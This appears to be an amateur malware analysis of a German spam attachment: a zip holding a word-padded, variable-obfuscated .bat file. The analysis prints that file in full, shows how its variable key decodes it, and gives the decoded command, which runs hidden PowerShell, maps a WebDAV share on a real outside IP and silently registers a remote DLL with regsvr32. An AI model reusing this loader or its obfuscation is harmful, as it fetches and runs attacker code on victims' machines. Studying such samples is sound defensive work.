German Malware Analysis #1

Intro

This malware came from a spam email received from: no-reply@clarinetthai.com

The email was written in German, however the code is using a Russian IP

Initial Infection

This malware came disguised as a zip folder.

20240624_ABAB2024100689.zip

Inside, there was a heavily obfuscated .bat file with a long number as the filename.

332214634196983068.bat

File Contents:

goto ill
prick clam weight overflow
tiny dogs geese puzzled obsequious exultant faded possess house
cloth quicksand mundane insect spurious charming crown necessary reply sin flimsy
phone false messy tin tug telephone groovy grade striped beginner silly size
sink servant detailed religion fairies sign venomous suppose discreet seed desk second venomous unbecoming
farm grab
graceful tasteful lamentable boil
grumpy scrape mature coast adorable partner pest cheap snail imminent eyes
lumpy clumsy
cushion window adorable obnoxious determined hill important fearful aspiring earthy
ambiguous damage delay sad education sable big wrathful gullible thundering instinctive
probable wound room
interest scare desire exultant
dry rainy
man late dirty trite tax zonked vigorous writer dust light bell
shame building point divide fascinated basin fuzzy kitty longing juggle
shrug caption fix vest rain
mere invent living overflow brick dirty roasted women blue-eyed structure
thirsty gullible kind wistful medical irate mass addicted
bridge icy
transport fairies greedy incredible sidewalk choke kiss tumble fowl trick smart yoke
mark smell person
ordinary little dreary wait
rabbit disastrous fearful rat hole physical yak coal hook car yummy
plucky taboo thoughtful sweet impress majestic
giant ten minute glib zoom winter trees
carpenter cemetery disturbed alleged remarkable hammer helpless poison apparel
sordid crowd homely
super irate cabbage chew malicious clumsy crash smoggy report
bike cars erect
duck change embarrassed various treatment smelly distribution bleach seashore interrupt responsible abundant
woman rhetorical glow clear dog marked
mean
rod measly stranger pricey kittens horses bump glove gratis belong
parched panicky river mailbox early calendar reproduce observe recognise mellow uncovered brother sturdy
three best ad hoc art telephone bear smooth umbrella boundary kick decorous frog
silly gray chalk whimsical fairies sour reduce popcorn
sophisticated luxuriant
canvas tendency stale redundant pine rambunctious switch push
copy squalid scarce outstanding hurried untidy succeed thirsty degree little lavish like fierce
develop memory unruly dashing tan minister boundary zipper unarmed even salty chilly angry
cave rain load stream marvelous belong umbrella approve unaccountable friction receive skip
innate early flap public
society
separate activity knock theory belong groovy
flashy government party learn laugh ludicrous
muscle yak visit jobless secret knotty industrious calculating stop stingy direful
cloistered roomy elderly maniacal deeply ashamed avoid precede bikes crib wire
ten locket
harmony windy fearful price fearless
rhyme giddy ambitious view avoid
furtive occur woebegone copy hunt pedal peep
unarmed zany wait blue-eyed form weather upset boring giraffe mind entertaining
sheet lumber walk bite lace
paste precious bustling thank print instrument digestion injure nonstop cultured moan guard cub
brass ill wax cub limit fancy troubled four necessary labored chew
mellow
tug sheep shave
smile mundane cycle abusive hard fearful pop island spotty unsuitable remember
rhyme skinny ship lazy suppose clear encouraging flame tug long
precious deafening dynamic psychedelic evanescent normal unique fanatical
tall girls veil silly
attraction rapid shy wren carve care peace fertile shrill peel glamorous
birth succinct fancy dreary pushy intend doubtful straw sign unruly applaud alarm
fairies trot simple wait film aware lettuce
extra-large wall carriage tough watch various right downtown homeless suggest
tricky
grade busy abnormal fear stare paste breathe tooth godly vivacious
bone linen price
dizzy gate day infamous beef sleet amount cakes squirrel mom
aggressive error joke round incredible spicy street toe sort
efficient cute interrupt gold cow sparkling mitten mushy ceaseless buzz guitar tremendous
suspect supreme cheese relation mouth camera hospitable
noisy women arrange dear abrasive title racial discovery momentous animated magic spotty
remove bird
acrid jagged kick hook vagabond lethal superb ambiguous alike substantial concern elite whirl distribution
shake force learn
dam sedate fuel girls field
art deserted decorous subdued amount fork
cobweb miss bloody cakes float divide picture measure curtain ossified
loud icky dock slave rare many
volleyball
flimsy film end statement bumpy coherent kettle calculating boiling eggs whip deserve
plants move flower cheap giants scarf kaput certain absent waiting
diligent loss same story scribble ugly curly spare
tense allow pine drip treatment creepy island servant abrasive route reminiscent guard
agonizing squeak private blind loose
venomous chop scent healthy bewildered verdant sister frantic tacky yell upset verse board
pets complex incompetent influence error puffy five ducks afternoon greet plan careful
pause angle better hapless descriptive impartial cake normal impartial wink pointless winter honorable
defective
scarce chew earth suggest van chop
hard-to-find teeny-tiny
use
hate object mountainous science ruin cooing design
bow education giant visit hammer panicky machine cheerful
consist paper narrow anxious stream debt
combative ink teeny-tiny previous bubble
knee bored spring ambiguous bath incredible bottle jar fool flat
load start cause illustrious unkempt jealous
volleyball thunder bulb crash loaf handsomely
forgetful worry clean
coat lowly humor switch soft level exotic
telling language drink tire
incandescent rainstorm adjoining vest play tedious deeply slim error loose pour engine pig faulty
gigantic ball illegal pets wine loving abrupt queen moaning sudden
condemned engine cure sable homely attack
nappy camera enthusiastic delightful sound decision discussion
rush creature
stem
board consider day observe fluffy trees ratty hang lean quizzical songs tearful horses
glow side shiny amuck pest godly oafish deeply punishment drunk aromatic remember
expand wait dapper
entertaining domineering orange crime
moan beg board gentle breathe snail rabbit chew gainful arrange fanatical expensive
cry illustrious tearful stretch warn precious flashy
secret spicy glorious bewildered toe blush obscene spooky busy cluttered
damaged mass lovely hideous nose things feeble jelly boat secretive
cake
courageous mess up society basket cloth smash heartbreaking rightful dam correct abstracted truthful giant
territory harsh protective neck coast
hover didactic rifle elastic quickest cushion skillful describe irritating scale activity ablaze tie rampant
religion terrible helpful silk first sudden skate
teeth slippery rabbits amusement
violet grip smoggy clear identify injure straw
tug front
ray harmonious invent tick heavy hand sink plants recess selfish saw continue poison value
form premium
discovery aggressive reduce please wry ducks pedal offbeat absurd drab dream
approval
cloudy waves doubt line toothsome found
flood defeated jeans possessive fancy
jumbled female crime cable robin
female sand secretary allow narrow natural dazzling subtract unkempt books waves decisive size
decorous clumsy wrathful used behave wind dynamic influence eyes listen protest kind unnatural
bathe town obscene miss righteous stiff wooden red pack excite channel jolly reproduce
majestic comb memorize
slip
elbow measure call poised degree feeling
tow peace nine wiry unruly oatmeal perpetual air
observation cheerful like scandalous natural efficacious toys far
drown
miscreant flippant bone work annoyed dusty type racial hour bizarre gold nosy health
horn noise reaction scorch descriptive glamorous seed provide
trick cruel satisfy rainstorm train greet didactic spell homeless salty stale hum
rabid tie add battle efficacious lucky adorable throat allow daughter
identify toys confused riddle circle arch interesting bit cherry woozy airport abaft upset magical
balance quiver tumble encourage aspiring stupendous surprise trap ladybug
books combative undress end mysterious
snobbish bikes
island cobweb victorious awesome pleasant bed long spiky raspy nostalgic stereotyped detail
:ill
set zippyvaguerequest=1&&set sleepysummercowardly=p&&set vagabondironadvertisement=f&&set fruitlaunchchange=a&&set rarehonorableroom=7&&set juggleheavenlyjazzy=s&&set relationnewhurried=g&&set yearhandlepick=c&&set snakemaliciousagreeable=t&&set extra-smalltangyfoamy=6&&set pleasantspringspotty=b&&set pauseuttermostdam=o&&set houseswhisperingtransport=n&&set whisperturngrubby=u&&set windowsoggypainstaking=r&&set publicjoyouswilling=d&&set permissibleapprovalbillowy=2&&set traveluttermostbathe=k&&set nosyrailwayunderstood=j&&set zestyunwrittenclumsy=m&&set bagjugglegold=5&&set delightwomandisagreeable=w&&set eatablecameradeep=e&&set matestatementexplode=v&&set factcomplexterrific=q&&set doubttrampinfluence=x&&set plotsimplisticgrease=y&&set mountainouspicayunepigs=3&&set camppreachprotective=8&&set loadfilmhypnotic=h&&set spraystaincar=i&&set chancegentlegood=z&&set vacationusefulvisit=4&&set apatheticfoodgruesome=l&&set pinejumpyannounce=9&&set bitesecond-handquestion=0
%yearhandlepick%%pauseuttermostdam%%apatheticfoodgruesome%%pauseuttermostdam%%windowsoggypainstaking% %vagabondironadvertisement%%bitesecond-handquestion%&&%juggleheavenlyjazzy%%snakemaliciousagreeable%%fruitlaunchchange%%windowsoggypainstaking%%snakemaliciousagreeable% %delightwomandisagreeable%%pauseuttermostdam%%windowsoggypainstaking%%publicjoyouswilling%%sleepysummercowardly%%fruitlaunchchange%%publicjoyouswilling%
%juggleheavenlyjazzy%%snakemaliciousagreeable%%fruitlaunchchange%%windowsoggypainstaking%%snakemaliciousagreeable% %sleepysummercowardly%%pauseuttermostdam%%delightwomandisagreeable%%eatablecameradeep%%windowsoggypainstaking%%juggleheavenlyjazzy%%loadfilmhypnotic%%eatablecameradeep%%apatheticfoodgruesome%%apatheticfoodgruesome%.%eatablecameradeep%%doubttrampinfluence%%eatablecameradeep% -%delightwomandisagreeable%%spraystaincar%%houseswhisperingtransport%%publicjoyouswilling%%pauseuttermostdam%%delightwomandisagreeable%%juggleheavenlyjazzy%%snakemaliciousagreeable%%plotsimplisticgrease%%apatheticfoodgruesome%%eatablecameradeep% %loadfilmhypnotic%%spraystaincar%%publicjoyouswilling%%publicjoyouswilling%%eatablecameradeep%%houseswhisperingtransport% %houseswhisperingtransport%%eatablecameradeep%%snakemaliciousagreeable% %whisperturngrubby%%juggleheavenlyjazzy%%eatablecameradeep% \\%vacationusefulvisit%%bagjugglegold%.%pinejumpyannounce%.%rarehonorableroom%%vacationusefulvisit%.%mountainouspicayunepigs%%extra-smalltangyfoamy%@%camppreachprotective%%camppreachprotective%%camppreachprotective%%camppreachprotective%\%publicjoyouswilling%%fruitlaunchchange%%matestatementexplode%%delightwomandisagreeable%%delightwomandisagreeable%%delightwomandisagreeable%%windowsoggypainstaking%%pauseuttermostdam%%pauseuttermostdam%%snakemaliciousagreeable%\ ; %windowsoggypainstaking%%eatablecameradeep%%relationnewhurried%%juggleheavenlyjazzy%%matestatementexplode%%windowsoggypainstaking%%mountainouspicayunepigs%%permissibleapprovalbillowy% /%juggleheavenlyjazzy% \\%vacationusefulvisit%%bagjugglegold%.%pinejumpyannounce%.%rarehonorableroom%%vacationusefulvisit%.%mountainouspicayunepigs%%extra-smalltangyfoamy%@%camppreachprotective%%camppreachprotective%%camppreachprotective%%camppreachprotective%\%publicjoyouswilling%%fruitlaunchchange%%matestatementexplode%%delightwomandisagreeable%%delightwomandisagreeable%%delightwomandisagreeable%%windowsoggypainstaking%%pauseuttermostdam%%pauseuttermostdam%%snakemaliciousagreeable%\%permissibleapprovalbillowy%%bitesecond-handquestion%%mountainouspicayunepigs%%bitesecond-handquestion%%rarehonorableroom%%permissibleapprovalbillowy%%zippyvaguerequest%%rarehonorableroom%%bitesecond-handquestion%%zippyvaguerequest%%rarehonorableroom%%rarehonorableroom%%extra-smalltangyfoamy%%bitesecond-handquestion%.%publicjoyouswilling%%apatheticfoodgruesome%%apatheticfoodgruesome%
%eatablecameradeep%%doubttrampinfluence%%spraystaincar%%snakemaliciousagreeable%
heap wander damaging garrulous guitar scrape visitor sophisticated lopsided endurable head
itch shrug support plain observation dock

As you may have noticed, this just looks like random words. However this obfuscation technique did not take long to reverse.

De-Obfuscation

We can look at the first line which contains goto ill, this instruction goto directs cmd.exe to a labeled line in the BAT file named ill.

We can find the label on line 153 :ill, with the next set of instructions.

The set command defines and sets variables, and the && is to chain together commands

---snip---
:ill
set zippyvaguerequest=1&&
set sleepysummercowardly=p&&
set vagabondironadvertisement=f&&
set fruitlaunchchange=a&&
set rarehonorableroom=7&&
set juggleheavenlyjazzy=s&&
set relationnewhurried=g&&
set yearhandlepick=c&&
set snakemaliciousagreeable=t&&
set extra-smalltangyfoamy=6&&
set pleasantspringspotty=b&&
set pauseuttermostdam=o&&
set houseswhisperingtransport=n&&
set whisperturngrubby=u&&
set windowsoggypainstaking=r&&
set publicjoyouswilling=d&&
set permissibleapprovalbillowy=2&&
set traveluttermostbathe=k&&
set nosyrailwayunderstood=j&&
set zestyunwrittenclumsy=m&&
set bagjugglegold=5&&
set delightwomandisagreeable=w&&
set eatablecameradeep=e&&
set matestatementexplode=v&&
set factcomplexterrific=q&&
set doubttrampinfluence=x&&
set plotsimplisticgrease=y&&
set mountainouspicayunepigs=3&&
set camppreachprotective=8&&
set loadfilmhypnotic=h&&
set spraystaincar=i&&
set chancegentlegood=z&&
set vacationusefulvisit=4&&
set apatheticfoodgruesome=l&&
set pinejumpyannounce=9&&
set bitesecond-handquestion=0
---snip---

Now that we have a key:value dictionary established, here is our command to decode:

%yearhandlepick%%pauseuttermostdam%%apatheticfoodgruesome%%pauseuttermostdam%%windowsoggypainstaking% %vagabondironadvertisement%%bitesecond-handquestion%&&%juggleheavenlyjazzy%%snakemaliciousagreeable%%fruitlaunchchange%%windowsoggypainstaking%%snakemaliciousagreeable% %delightwomandisagreeable%%pauseuttermostdam%%windowsoggypainstaking%%publicjoyouswilling%%sleepysummercowardly%%fruitlaunchchange%%publicjoyouswilling%
%juggleheavenlyjazzy%%snakemaliciousagreeable%%fruitlaunchchange%%windowsoggypainstaking%%snakemaliciousagreeable% %sleepysummercowardly%%pauseuttermostdam%%delightwomandisagreeable%%eatablecameradeep%%windowsoggypainstaking%%juggleheavenlyjazzy%%loadfilmhypnotic%%eatablecameradeep%%apatheticfoodgruesome%%apatheticfoodgruesome%.%eatablecameradeep%%doubttrampinfluence%%eatablecameradeep% -%delightwomandisagreeable%%spraystaincar%%houseswhisperingtransport%%publicjoyouswilling%%pauseuttermostdam%%delightwomandisagreeable%%juggleheavenlyjazzy%%snakemaliciousagreeable%%plotsimplisticgrease%%apatheticfoodgruesome%%eatablecameradeep% %loadfilmhypnotic%%spraystaincar%%publicjoyouswilling%%publicjoyouswilling%%eatablecameradeep%%houseswhisperingtransport% %houseswhisperingtransport%%eatablecameradeep%%snakemaliciousagreeable% %whisperturngrubby%%juggleheavenlyjazzy%%eatablecameradeep% \\%vacationusefulvisit%%bagjugglegold%.%pinejumpyannounce%.%rarehonorableroom%%vacationusefulvisit%.%mountainouspicayunepigs%%extra-smalltangyfoamy%@%camppreachprotective%%camppreachprotective%%camppreachprotective%%camppreachprotective%\%publicjoyouswilling%%fruitlaunchchange%%matestatementexplode%%delightwomandisagreeable%%delightwomandisagreeable%%delightwomandisagreeable%%windowsoggypainstaking%%pauseuttermostdam%%pauseuttermostdam%%snakemaliciousagreeable%\ ; %windowsoggypainstaking%%eatablecameradeep%%relationnewhurried%%juggleheavenlyjazzy%%matestatementexplode%%windowsoggypainstaking%%mountainouspicayunepigs%%permissibleapprovalbillowy% /%juggleheavenlyjazzy% \\%vacationusefulvisit%%bagjugglegold%.%pinejumpyannounce%.%rarehonorableroom%%vacationusefulvisit%.%mountainouspicayunepigs%%extra-smalltangyfoamy%@%camppreachprotective%%camppreachprotective%%camppreachprotective%%camppreachprotective%\%publicjoyouswilling%%fruitlaunchchange%%matestatementexplode%%delightwomandisagreeable%%delightwomandisagreeable%%delightwomandisagreeable%%windowsoggypainstaking%%pauseuttermostdam%%pauseuttermostdam%%snakemaliciousagreeable%\%permissibleapprovalbillowy%%bitesecond-handquestion%%mountainouspicayunepigs%%bitesecond-handquestion%%rarehonorableroom%%permissibleapprovalbillowy%%zippyvaguerequest%%rarehonorableroom%%bitesecond-handquestion%%zippyvaguerequest%%rarehonorableroom%%rarehonorableroom%%extra-smalltangyfoamy%%bitesecond-handquestion%.%publicjoyouswilling%%apatheticfoodgruesome%%apatheticfoodgruesome%
%eatablecameradeep%%doubttrampinfluence%%spraystaincar%%snakemaliciousagreeable%

After doing a manual replacement we are left with:

%c%%o%%l%%o%%r% %f%%0%&&%s%%t%%a%%r%%t% %w%%o%%r%%d%%p%%a%%d%
%s%%t%%a%%r%%t% %p%%o%%w%%e%%r%%s%%h%%e%%l%%l%.%e%%x%%e% -%w%%i%%n%%d%%o%%w%%s%%t%%y%%l%%e% %h%%i%%d%%d%%e%%n% %n%%e%%t% %u%%s%%e% \\%4%%5%.%9%.%7%%4%.%3%%6%@%8%%8%%8%%8%\%d%%a%%v%%w%%w%%w%%r%%o%%o%%t%\ ; %r%%e%%g%%s%%v%%r%%3%%2% /%s% \\%4%%5%.%9%.%7%%4%.%3%%6%@%8%%8%%8%%8%\%d%%a%%v%%w%%w%%w%%r%%o%%o%%t%\%2%%0%%3%%0%%7%%2%%1%%7%%0%%1%%7%%7%%6%%0%.%d%%l%%l%
%e%%x%%i%%t%

Which breaks further down into:

color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\20307217017760.dll
exit

1. Sets background color to white(f), text color to black (0), starts wordpad
2. Launches PowerShell in a hidden window, maps network share, and then registers a Dynamic Link Library (DLL) file located at \20307217017760.dll silently
3. Exit

The rest of the file is padding and not interpreted. One thing to note is that the ‘davwwwroot’ is special keyword for a WebDAV client to indicate the server root. Upon testing and attempting to connect to this share I am unable to.

Virus Total Report:

20/66 - ZIP

17/64 - BAT